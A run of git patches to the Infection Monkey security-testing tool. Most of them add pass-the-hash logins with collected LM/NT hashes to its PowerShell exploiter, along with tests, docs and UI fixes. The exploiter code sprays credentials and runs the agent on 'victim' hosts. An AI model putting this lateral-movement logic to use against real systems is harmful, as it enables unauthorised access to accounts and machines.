infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType CREDENTIALS = [ - Credentials("user1", "password1"), - Credentials("user2", ""), - Credentials("user3", None), + Credentials("user1", "password1", SecretType.PASSWORD), + Credentials("user2", "", SecretType.PASSWORD), + Credentials("user3", None, SecretType.CACHED), ] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py index 64a13a5e5..0954d9dc8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credentials.py @@ -1,44 +1,97 @@ -from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials +from infection_monkey.exploit.powershell_utils.credentials import ( + Credentials, + SecretType, + get_credentials, +) TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] +TEST_LM_HASHES = ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"] +TEST_NT_HASHES = ["cccccccccccccccccccccccccccccccc", "dddddddddddddddddddddddddddddddd"] def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True) + credentials = get_credentials([], [], [], [], True) assert len(credentials) == 1 - assert credentials[0] == Credentials(username=None, secret=None) + assert credentials[0] == Credentials(username=None, secret=None, secret_type=SecretType.CACHED) def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False) + credentials = get_credentials([], [], [], [], False) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True) + credentials = get_credentials(TEST_USERNAMES, [], [], [], True) assert len(credentials) == 5 - assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[0], secret=None) in credentials - assert Credentials(username=TEST_USERNAMES[1], secret=None) in credentials + assert ( + Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[0], secret=None, secret_type=SecretType.CACHED) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret=None, secret_type=SecretType.CACHED) + in credentials + ) def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False) + credentials = get_credentials(TEST_USERNAMES, [], [], [], False) assert len(credentials) == 2 - assert Credentials(username=TEST_USERNAMES[0], secret="") in credentials - assert Credentials(username=TEST_USERNAMES[1], secret="") in credentials + assert ( + Credentials(username=TEST_USERNAMES[0], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) + assert ( + Credentials(username=TEST_USERNAMES[1], secret="", secret_type=SecretType.PASSWORD) + in credentials + ) def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, [], [], True) assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert Credentials(username=user, secret=password) in credentials + assert ( + Credentials(username=user, secret=password, secret_type=SecretType.PASSWORD) + in credentials + ) + + +def test_get_credentials__username_lm_hash_windows_false(): + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, [], False) + + assert len(credentials) == 10 + for user in TEST_USERNAMES: + for lm_hash in TEST_LM_HASHES: + assert ( + Credentials(username=user, secret=lm_hash, secret_type=SecretType.LM_HASH) + in credentials + ) + + +def test_get_credentials__username_nt_hash_windows_false(): + credentials = get_credentials( + TEST_USERNAMES, TEST_PASSWORDS, TEST_LM_HASHES, TEST_NT_HASHES, False + ) + + assert len(credentials) == 14 + for user in TEST_USERNAMES: + for nt_hash in TEST_NT_HASHES: + assert ( + Credentials(username=user, secret=nt_hash, secret_type=SecretType.NT_HASH) + in credentials + ) From 501fc162b4bc77be5d3915802117121d8787eb1e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 12:56:50 -0400 Subject: [PATCH 127/454] Agent: Attempt login with LM and NT hashes in PowerShellExploiter --- monkey/infection_monkey/exploit/powershell.py | 22 ++++-- .../exploit/test_powershell.py | 77 ++++++++++++++++++- 2 files changed, 92 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index c20580989..9d4b32e6b 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -55,8 +55,8 @@ class PowerShellExploiter(HostExploiter): credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, - [], - [], + self._config.exploit_lm_hash_list, + self._config.exploit_ntlm_hash_list, is_windows_os(), ) auth_options = get_auth_options(credentials, is_https) @@ -117,20 +117,30 @@ class PowerShellExploiter(HostExploiter): logger.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}" + f"{creds.username}, Secret Type: {creds.secret_type.name}" ) - self.report_login_attempt(True, creds.username, creds.secret) + self._report_login_attempt(True, creds) return client except Exception as ex: # noqa: F841 logger.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Error: {ex}" + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" ) - self.report_login_attempt(False, creds.username, creds.secret) + self._report_login_attempt(False, creds) return None + def _report_login_attempt(self, result: bool, credentials: Credentials): + if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: + self.report_login_attempt(result, credentials.username, password=credentials.secret) + elif credentials.secret_type == SecretType.LM_HASH: + self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret) + elif credentials.secret_type == SecretType.NT_HASH: + self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret) + else: + raise ValueError(f"Unknown secret type {credentials.secret_type}") + def _execute_monkey_agent_on_victim(self) -> bool: arch = self._client.get_host_architecture() self.is_32bit = arch == WIN_ARCH_32 diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index da709ad04..4e5c98823 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost USER_LIST = ["user1", "user2"] PASSWORD_LIST = ["pass1", "pass2"] +LM_HASH_LIST = ["bogo_lm_1"] +NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"] DROPPER_TARGET_PATH_32 = "C:\\agent32" DROPPER_TARGET_PATH_64 = "C:\\agent64" @@ -19,6 +21,8 @@ Config = namedtuple( [ "exploit_user_list", "exploit_password_list", + "exploit_lm_hash_list", + "exploit_ntlm_hash_list", "dropper_target_path_win_32", "dropper_target_path_win_64", ], @@ -33,9 +37,17 @@ class TestAuthenticationError(Exception): def powershell_exploiter(monkeypatch): host = VictimHost("127.0.0.1") pe = powershell.PowerShellExploiter(host) - pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64) + pe._config = Config( + USER_LIST, + PASSWORD_LIST, + LM_HASH_LIST, + NT_HASH_LIST, + DROPPER_TARGET_PATH_32, + DROPPER_TARGET_PATH_64, + ) monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError) + monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but # it's necessary to avoid having to deal with the monkeyfs monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) @@ -141,3 +153,66 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): success = powershell_exploiter.exploit_host() assert not success + + +def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): + mock_client = MagicMock() + mock_client.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.copy_file = MagicMock(return_value=True) + mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + + def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions): + if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]: + return mock_client + + raise TestAuthenticationError + + mock_powershell_client = MagicMock(side_effect=allow_ntlm) + monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + + powershell_exploiter.exploit_host() + + assert { + "result": False, + "user": USER_LIST[1], + "password": None, + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": PASSWORD_LIST[0], + "lm_hash": "", + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[0], + "password": "", + "lm_hash": LM_HASH_LIST[0], + "ntlm_hash": "", + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": False, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[0], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts + + assert { + "result": True, + "user": USER_LIST[1], + "password": "", + "lm_hash": "", + "ntlm_hash": NT_HASH_LIST[1], + "ssh_key": "", + } in powershell_exploiter.exploit_attempts From 9cc488d36a1493c1481e5babaab33aca0cefc7de Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 13:03:58 -0400 Subject: [PATCH 128/454] Agent: Remove powershell_utils/utils.py Move single function that was previously in powershell_utils/utils.py to powershell.py --- monkey/infection_monkey/exploit/powershell.py | 21 ++++++++++++++++--- .../exploit/powershell_utils/utils.py | 17 --------------- .../exploit/powershell_utils/test_utils.py | 13 ------------ .../exploit/test_powershell.py | 11 ++++++++++ 4 files changed, 29 insertions(+), 33 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/powershell_utils/utils.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 9d4b32e6b..6d6520080 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -6,7 +6,6 @@ import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, ENCRYPTION_AUTO, @@ -24,7 +23,8 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( PowerShellClient, ) from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import VictimHost +from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost +from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -186,7 +186,7 @@ class PowerShellExploiter(HostExploiter): monkey_local_file.write(monkey_virtual_file.read()) def _run_monkey_executable_on_victim(self, executable_path) -> None: - monkey_execution_command = utils.build_monkey_execution_command( + monkey_execution_command = build_monkey_execution_command( self.host, get_monkey_depth() - 1, executable_path ) @@ -195,3 +195,18 @@ class PowerShellExploiter(HostExploiter): ) self._client.execute_cmd_as_detached_process(monkey_execution_command) + + +def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: + monkey_params = build_monkey_commandline( + target_host=host, + depth=depth, + vulnerable_port=None, + location=executable_path, + ) + + return RUN_MONKEY % { + "monkey_path": executable_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py deleted file mode 100644 index 4c0ab3dce..000000000 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ /dev/null @@ -1,17 +0,0 @@ -from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost -from infection_monkey.utils.commands import build_monkey_commandline - - -def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: - monkey_params = build_monkey_commandline( - target_host=host, - depth=depth, - vulnerable_port=None, - location=executable_path, - ) - - return RUN_MONKEY % { - "monkey_path": executable_path, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py deleted file mode 100644 index de5ca3b5d..000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ /dev/null @@ -1,13 +0,0 @@ -from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.model.host import VictimHost - - -def test_build_monkey_execution_command(): - host = VictimHost("127.0.0.1") - depth = 2 - executable_path = "/tmp/test-monkey" - - cmd = utils.build_monkey_execution_command(host, depth, executable_path) - - assert f"-d {depth}" in cmd - assert executable_path in cmd diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 4e5c98823..b9254c1d8 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -216,3 +216,14 @@ def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): "ntlm_hash": NT_HASH_LIST[1], "ssh_key": "", } in powershell_exploiter.exploit_attempts + + +def test_build_monkey_execution_command(): + host = VictimHost("127.0.0.1") + depth = 2 + executable_path = "/tmp/test-monkey" + + cmd = powershell.build_monkey_execution_command(host, depth, executable_path) + + assert f"-d {depth}" in cmd + assert executable_path in cmd From 1a1a130716cf6659033aea5d205e87b11ff05b31 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 13:21:05 -0400 Subject: [PATCH 129/454] Agent: Format NT/LM hashes for use with pypsrp in PowerShellClient --- .../powershell_utils/powershell_client.py | 22 ++++++-- .../test_powershell_client.py | 52 +++++++++++++++++++ 2 files changed, 71 insertions(+), 3 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 7971e7256..e739901f1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from typing import Union +from typing import Optional, Union import pypsrp import spnego @@ -12,7 +12,7 @@ from urllib3 import connectionpool from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType from infection_monkey.model import GET_ARCH_WINDOWS logger = logging.getLogger(__name__) @@ -27,6 +27,22 @@ def _set_sensitive_packages_log_level_to_error(): logging.getLogger(package.__name__).setLevel(logging.ERROR) +def format_password(credentials: Credentials) -> Optional[str]: + if credentials.secret_type == SecretType.CACHED: + return None + + if credentials.secret_type == SecretType.PASSWORD: + return credentials.secret + + if credentials.secret_type == SecretType.LM_HASH: + return f"{credentials.secret}:00000000000000000000000000000000" + + if credentials.secret_type == SecretType.NT_HASH: + return f"00000000000000000000000000000000:{credentials.secret}" + + raise ValueError(f"Unknown secret type {credentials.secret_type}") + + class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): @abc.abstractmethod def execute_cmd(self, cmd: str) -> str: @@ -53,7 +69,7 @@ class PowerShellClient(IPowerShellClient): self._client = Client( ip_addr, username=credentials.username, - password=credentials.secret, + password=format_password(credentials), cert_validation=False, auth=auth_options.auth_type, encryption=auth_options.encryption, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py new file mode 100644 index 000000000..73f7ea64c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_powershell_client.py @@ -0,0 +1,52 @@ +import pytest + +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType +from infection_monkey.exploit.powershell_utils.powershell_client import format_password + + +def test_format_cached_credentials(): + expected = None + creds = Credentials("test_user", expected, SecretType.CACHED) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_password(): + expected = "test_password" + creds = Credentials("test_user", expected, SecretType.PASSWORD) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_lm_hash(): + lm_hash = "c080132b6f2a0c4e5d1029cc06f48a92" + expected = f"{lm_hash}:00000000000000000000000000000000" + + creds = Credentials("test_user", lm_hash, SecretType.LM_HASH) + + actual = format_password(creds) + + assert expected == actual + + +def test_format_nt_hash(): + nt_hash = "c080132b6f2a0c4e5d1029cc06f48a92" + expected = f"00000000000000000000000000000000:{nt_hash}" + + creds = Credentials("test_user", nt_hash, SecretType.NT_HASH) + + actual = format_password(creds) + + assert expected == actual + + +def test_invalid_secret_type(): + + creds = Credentials("test_user", "secret", "Bogus_Secret") + + with pytest.raises(ValueError): + format_password(creds) From 71c4e4d8dcd629b4590d94a92aee8cc3fb118400 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 14:04:40 -0400 Subject: [PATCH 130/454] Agent: Fix incorrect host arch identification in PowerShellClient --- .../exploit/powershell_utils/powershell_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index e739901f1..ad5854d4a 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -85,8 +85,8 @@ class PowerShellClient(IPowerShellClient): return output def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self._client.execute_cmd(GET_ARCH_WINDOWS) - if "64-bit" in output: + stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS) + if "64-bit" in stdout: return WIN_ARCH_64 return WIN_ARCH_32 From 65c9be90d3ee0a515a36a5f72bdd734d8fdac862 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 2 Sep 2021 14:29:07 -0400 Subject: [PATCH 131/454] Docs: Add NTLM hash details to PowerShell exploiter docs --- docs/content/reference/exploiters/PowerShell.md | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/content/reference/exploiters/PowerShell.md b/docs/content/reference/exploiters/PowerShell.md index 5e901e93c..c80943154 100644 --- a/docs/content/reference/exploiters/PowerShell.md +++ b/docs/content/reference/exploiters/PowerShell.md @@ -22,8 +22,9 @@ The PowerShell exploiter can be run from both Linux and Windows attackers. On Windows attackers, the exploiter has the ability to use the cached username and/or password from the current user. On both Linux and Windows attackers, the exploiter uses all combinations of the [user-configured usernames and -passwords]({{< ref "/usage/configuration/basic-credentials" >}}). Different -combinations of credentials are attempted in the following order: +passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as +and LM or NT hashes that have been collected. Different combinations of +credentials are attempted in the following order: 1. **Cached username and password (Windows attacker only)** - The exploiter will use the stored credentials of the current user to attempt to log into the @@ -47,6 +48,16 @@ combinations of credentials are attempted in the following order: all combinations of usernames and passwords that were set in the [configuration.]({{< ref "/usage/configuration/basic-credentials" >}}) +1. **Brute force usernames and LM hashes** - The exploiter will attempt to use + all combinations of usernames that were set in the [configuration]({{< ref + "/usage/configuration/basic-credentials" >}}) and LM hashes that were + collected from any other victims. + +1. **Brute force usernames and NT hashes** - The exploiter will attempt to use + all combinations of usernames that were set in the [configuration]({{< ref + "/usage/configuration/basic-credentials" >}}) and NT hashes that were + collected from any other victims. + #### Securing PowerShell Remoting From 4dbd7b41f540c5e6a98a220f1e35bbf40c27d75d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 3 Sep 2021 15:27:04 +0300 Subject: [PATCH 132/454] Fix the Guardicore logo which is overlaping the landing page buttons on smaller screens --- .../ui/src/components/pages/LandingPage.tsx | 61 ++++++++++--------- .../cc/ui/src/styles/pages/LandingPage.scss | 7 --- 2 files changed, 31 insertions(+), 37 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx index 156489c22..cc1741b20 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx +++ b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx @@ -15,24 +15,24 @@ const infectionMonkey = require('../../images/infection-monkey.svg') const LandingPageComponent = (props) => { return ( - <> - - - -
    - -
    -
    -
    -
    -
    - + <> + + + +
    + +
    +
    + + + +
    +
    - - + ); @@ -72,8 +72,8 @@ const LandingPageComponent = (props) => { function setScenario(scenario: string) { IslandHttpClient.post('/api/island-mode', {'mode': scenario}) - .then(() => { - props.onStatusChange(); + .then(() => { + props.onStatusChange(); }); } } @@ -91,23 +91,24 @@ function MonkeyInfo() { } function ScenarioInfo() { - return ( - <> -
    - Check the Infection Monkey documentation hub for more information - on - scenarios - . -
    - - ); + return ( + <> +
    + Check the Infection Monkey documentation hub for more information + on + scenarios + . +
    + + ); } function MonkeyBanner(props) { return (
    - - + +
    ); } diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss index fe9e3657b..a4c16536e 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss @@ -1,6 +1,5 @@ .landing-page { background-color: rgba(255, 255, 255, 0.89); - position: absolute !important; height: 100%; bottom: 0; } @@ -27,12 +26,6 @@ height: 100%; } -.landing-page .guardicore-logo { - position: absolute; - bottom: 10px; - left: 0 !important; -} - .guardicore-logo .license-text { position: relative; } From f2739f426c2df68059d89aae408a6e9e380467ea Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 3 Sep 2021 15:30:50 +0300 Subject: [PATCH 133/454] Add a CHANGELOG.md entry about the fixed Guardicore logo overlapping --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bfaa62352..584c1703d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,6 +29,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Malfunctioning timestomping PBA. #1405 - Malfunctioning shell startup script PBA. #1419 - Trap command produced no output. #1406 +- Overlapping Guardicore logo in the landing page #1441 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From 1e5d49024daa40b3c9e7a4e02bf87c6762d15c29 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 2 Sep 2021 16:36:19 +0200 Subject: [PATCH 134/454] Zoo: Change island to use credentials --- .../island_client/monkey_island_requests.py | 25 ++++++++++++------- 1 file changed, 16 insertions(+), 9 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 8e8392b9e..ac6bdceee 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -7,8 +7,8 @@ import requests from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod -# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' -NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" +ISLAND_USERNAME = "m0nk3y" +ISLAND_PASSWORD = "Passw0rd!" LOGGER = logging.getLogger(__name__) @@ -16,6 +16,10 @@ class AuthenticationFailedError(Exception): pass +class InvalidRegistrationCredentialsError(Exception): + pass + + # noinspection PyArgumentList class MonkeyIslandRequests(object): def __init__(self, server_address): @@ -48,9 +52,9 @@ class MonkeyIslandRequests(object): try: return self.get_jwt_from_server() except AuthenticationFailedError: - self.try_set_island_to_no_password() + self.try_set_island_to_credentials() return self.get_jwt_from_server() - except requests.ConnectionError as err: + except (requests.ConnectionError, InvalidRegistrationCredentialsError) as err: LOGGER.error( "Unable to connect to island, aborting! Error information: {}. Server: {}".format( err, self.addr @@ -61,17 +65,21 @@ class MonkeyIslandRequests(object): def get_jwt_from_server(self): resp = requests.post( # noqa: DUO123 self.addr + "api/auth", - json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, + json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) if resp.status_code == 401: raise AuthenticationFailedError return resp.json()["access_token"] - def try_set_island_to_no_password(self): - requests.patch( # noqa: DUO123 - self.addr + "api/environment", json={"server_config": "standard"}, verify=False + def try_set_island_to_credentials(self): + resp = requests.post( # noqa: DUO123 + self.addr + "api/registration", + json={"user": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, + verify=False, ) + if resp.status_code == 400: + raise InvalidRegistrationCredentialsError("Missing part of the credentials") class _Decorators: @classmethod @@ -117,6 +125,5 @@ class MonkeyIslandRequests(object): self.addr + url, headers=self.get_jwt_header(), verify=False ) - @_Decorators.refresh_jwt_token def get_jwt_header(self): return {"Authorization": "Bearer " + self.token} From d27194c5682b99ef284dafdbfe08d8a8906fba5d Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 6 Sep 2021 13:50:24 +0200 Subject: [PATCH 135/454] Zoo: Fix powershell bb config for ntlm hash --- envs/monkey_zoo/blackbox/config_templates/powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/powershell.py index 4ca0863dd..cd238fd27 100644 --- a/envs/monkey_zoo/blackbox/config_templates/powershell.py +++ b/envs/monkey_zoo/blackbox/config_templates/powershell.py @@ -17,7 +17,7 @@ class PowerShell(ConfigTemplate): "internal.classes.finger_classes": ["PingScanner"], "internal.network.tcp_scanner.HTTP_PORTS": [], "internal.network.tcp_scanner.tcp_target_ports": [], - "internal.classes.exploits.exploit_ntlm_hash_list": [ + "internal.exploits.exploit_ntlm_hash_list": [ "d0f0132b308a0c4e5d1029cc06f48692", ], } From 114758978b8e30f83812eab8f9b574ff8921378f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 6 Sep 2021 18:26:23 +0530 Subject: [PATCH 136/454] cc: Set `collapseOnDataChange` to false in PBA table in security report --- .../ui/src/components/report-components/security/PostBreach.js | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js index 841c50c4d..12e269b21 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js @@ -75,6 +75,7 @@ class PostBreachComponent extends React.Component { SubComponent={row => { return renderDetails(row.original.pba_results); }} + collapseOnDataChange={false} /> From f91725897910cdd6a4fac36d990351d761ac1302 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 6 Sep 2021 18:33:23 +0530 Subject: [PATCH 137/454] CHANGELOG: Add entry for bugfix (table collapse on reset) --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 584c1703d..addaf174a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,7 +29,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Malfunctioning timestomping PBA. #1405 - Malfunctioning shell startup script PBA. #1419 - Trap command produced no output. #1406 -- Overlapping Guardicore logo in the landing page #1441 +- Overlapping Guardicore logo in the landing page. #1441 +- PBA table collapse in security report on data change. #1423 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From e44e8f503e7035b0bb8f2220fca4583625d39a55 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 7 Sep 2021 12:17:32 +0300 Subject: [PATCH 138/454] Refactor powershell client to not perform actions on init and clean up powershell exploiter a bit --- monkey/infection_monkey/exploit/powershell.py | 37 +++++++++++-------- .../powershell_utils/powershell_client.py | 3 -- 2 files changed, 22 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6d6520080..7b4aaec66 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -112,25 +112,32 @@ class PowerShellExploiter(HostExploiter): self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: for (creds, opts) in zip(credentials, auth_options): - try: - client = PowerShellClient(self.host.ip_addr, creds, opts) - - logger.info( - f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Secret Type: {creds.secret_type.name}" - ) - self._report_login_attempt(True, creds) - + client = PowerShellClient(self.host.ip_addr, creds, opts) + if self._is_client_auth_valid(creds, client): return client - except Exception as ex: # noqa: F841 - logger.debug( - f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, 